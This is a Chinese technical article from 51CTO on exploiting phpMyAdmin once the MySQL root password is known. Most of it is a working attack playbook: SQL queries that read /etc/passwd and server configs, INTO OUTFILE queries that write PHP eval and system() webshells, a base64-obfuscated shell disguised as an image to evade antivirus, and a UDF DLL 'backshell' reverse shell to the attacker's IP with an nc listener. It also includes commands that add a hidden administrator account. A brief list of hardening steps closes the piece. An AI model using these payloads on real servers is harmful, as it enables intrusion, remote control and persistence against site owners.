【51CTO.com原创稿件】很多公司和个人都喜欢使用phpMyAdmin来管理MySQL数据库——在zoomeye中搜索关键字phpmyadmin,我国位居第二,如下图1所示。phpMyAdmin功能非常强大,可以执行命令,导入或者导出数据库,可以说通过phpMyAdmin可以完全操控Mysql数据库。但是,如果存在设置的Root密码过于简单,代码泄露Mysql配置等漏洞,通过一些技术手段,99%都能获取网站webshell,有的甚至是服务器权限。phpMyAdmin在一些流行架构中大量使用,例如phpStudy、phpnow、Wammp、Lamp、Xamp等,这些架构的默认密码为root,如果未修改密码,极易被渗透。
在对phpMyAdmin漏洞进行研究时,笔者发现国内的一些数据库中已经存在数据库病毒,甚至勒索信息。这些病毒的一个表现就是会在mysql的user表中创建随机名字的表,表内容为二进制文件,有的是可执行文件,有的会在windows系统目下生成大量的vbs文件,感染系统文件或者传播病毒。
本文对phpMyadmin漏洞的各种利用方法和思路进行探讨,最后给出了一些安全防范方法,希望能对使用phpmyadmin的朋友有所帮助。个人QQ(1743811933)欢迎进行技术交流。
图1我国大量使用phpmyadmin
一、Mysql root帐号密码泄露的主要隐患
常规来说, MySQL账号源代码泄露、暴力破解等安全隐患。
1.源代码泄露
在有的CMS系统中,对config.inc.php以及config.php等数据库配置文件进行编辑时,有可能直接生成bak文件,这些文件可以直接读取和下载。很多使用phpmyadmin的网站往往存在目录泄露,通过目录信息泄露,可以下载源代码等打包文件,在这些打包文件或者代码泄露可以获取网站源代码中的数据库配置文件,从而获取root帐号和密码。建议从rar、tar.gz文件中搜索关键字config、db等。
2. 暴力破解
经过实践研究可以通过burpsuit等工具对phpmyadmin的密码实施暴力破解,甚至可以通过不同的字典对单个IP或者多个URL进行暴力破解,有关这个技术的实现细节和案例,请参考专题文章《暴力破解phpMyAdmin root帐号密码》。使用phpMyadmin暴力破解工具,收集常见的top 100password即可,其中可以添加root、cdlinux密码,用户名以admin和root为主。
3. 其它方式获取
例如通过社工邮件帐号,在邮件中会保存。
二、网站被攻击的真实路径分析
利用该漏洞实施网站攻击的真实路径是怎样的呢?让我们一起来看看吧。
1. phpinfo函数获取法
最直接获取网站真实路劲的是通过phpinfo.php也即phpinfo()函数,在其页面中会显示网站的真实物理路径。phpinfo函数常见页面文件有phpinfo.php、t.php、tz.php、1.php test.php、info.php等。
2.出错页面获取法
通过页面出错来获取。有些代码文件直接访问时会报错,其中会包含真实的物理路径。thinkphp架构访问页面一般都会报错,通过构造不存在的页面,或者存在目录信息泄露的逐个访问代码文件通过出错获取真实路径。
3. load_file函数读取网站配置文件
通过mysql load_file函数读取配置文件。/etc/passwd文件会提示网站的真实路径,然后通过读取网站默认的index.php等文件来判断是否是网站的真实目录和文件。其中读取非常有用的配置文件总结如下:
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/issues' )
- SELECT LOAD_FILE('/etc/etc/rc.local' )
- SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
- SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
- SELECT LOAD_FILE( 'C:/phpstudy/Apache/conf/vhosts.conf' )
- select load_file('c:/xampp/apache/conf/httpd.conf');
- select load_file('d:/xampp/apache/conf/httpd.conf');
- select load_file('e:/xampp/apache/conf/httpd.conf');
- select load_file('f:/xampp/apache/conf/httpd.conf');
4. 查看数据库表内容获取
在一些CMS系统中,有些会保存网站配置文件,或者网站正式路径地址,通过phpmyadmin进入数据库查看各配置库表以及保存有文件地址的表即可获取。
5. 进入后台查看
有些系统会在后台生成网站运行基本情况,这些基本情况会包含网站的真实路径,也有一些是运行phpinfo函数。
6. 百度搜索出错信息
通过百度搜索引擎、zoomeye.org、shadon等搜索关键字error、waring等,通过快照或者访问页面来获取。例如:
- site:antian365.com error
- site:antian365.com warning
三、Mysql root账号webshell泄露分析
Mysql Root账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六种方法较佳,其它可以根据实际情况来进行。
1. 直接读取后门文件
通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。
2. 直接导出一句话后门
前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件antian365.php,访问地址http://www.somesite.com/ antian365.php
- select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'
3. 创建数据库导出一句话后门
在查询窗口直接执行以下代码即可,跟1.3.2原理类似。
- CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
- INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
- SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
- DROP TABLE IF EXISTS `antian365`;
4. 可执行命令方式
创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/ antian365.php?cmd=(cmd=后面直接执行dos命令)。
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
5. 过杀毒软件方式
通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:
- <?php $a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>
然后通过图片包含temp.php,导出webshell。
- select '<?php include 'publicguide.jpg' ?>' INTO OUTFILE 'D:/work/WWW/antian365.php'
一句话后门密码:antian365
6. 直接导出加密webshell
一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php。
7. CMS系统获取webshell
有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。甚至某些系统可以直接上传php文件。下面是一些CMS系统渗透的技巧:
(1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
(2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5($pass).$salt)进行破解。
(3)Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793。
四、无法通过phpmyadmin直接获取webshell
前面的方法试过,仍然无法获取webshell,则可以采取以下方法和思路。
1. 连接mysql
直接通过mysql程序连接:mysql.exe -h ip -uroot -p
通过phpmyadmin连接
通过Navicat for MySQL连接
2. 查看数据库版本和数据路径
- SELECT VERSION( );
- Select @@datadir;
5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
5.1以上版本 通过以下查询来获取插件路径:
- SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
- show variables like '%plugins%' ;
- select load_file('C:/phpStudy/Apache/conf/httpd.conf')
- select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
- select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3. 直接导出udf文件为mysqldll
◆先执行导入ghost表中的内容
修改以下代码的末尾代码 select backshell("YourIP",4444);
◆导出文件到某个目录
- select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
- select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
- select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
- select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
◆查看FUNCTION中是否存在cmdshell和backshell,存在则删除:
- drop FUNCTION cmdshell;//删除cmdshell
- drop FUNCTION backshell;//删除backshell
◆创建backshell
- CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
◆在具备独立主机的服务器上执行监听
- nc -vv -l -p 44444
◆执行查询
- select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口
◆获取webshell后添加用户命令
注意如果不能直接执行,则需要到c:\windows\system32\下执行
- net user antian365 Www.Antian365.Com /add
- net localgroup administrators antian365
五、phpMyAdmin漏洞防范方法
1.使用phpinfo来查看环境变量后,尽量在用后及时将其删除,避免泄露真实路径。
2.使用Lamp架构安装时,需要修改其默认root帐号对应的弱口令密码root。以及admin/wdlinux.cn。
3.LAMP集成了proftpd,默认用户是nobody,密码是lamp,安装完成后也需要修改。
4.如果不是经常使用或者必须使用phpMyadmin,则在安装完成后可删除。
5.严格目录写权限,除文件上传目录允许写权限外,其它文件及其目录在完成配置后将其禁止写权限,并在上传目录去掉执行权限。
6.部署系统运行后,上传无关文件,不在网站进行源代码打包,以及导出数据库文件,即使要打包备份,也使用强密码加密
7.设置root口令为强口令,字母大小写+特殊字符+数字,15位以上,增加破解的难度。
8.不在网站数据库连接配置文件中配置root账号,而是单独建立一个数据库用户,给予最低权限即可,各个CMS的数据库和系统相对独立。
9.定期检查Mysql数据库中的user表是否存在host为“%”的情况,plugin中是否存在不是自定义的函数,禁用plugin目录写入权限。
【51CTO原创稿件,合作站点转载请注明原文作者和出处为51CTO.com】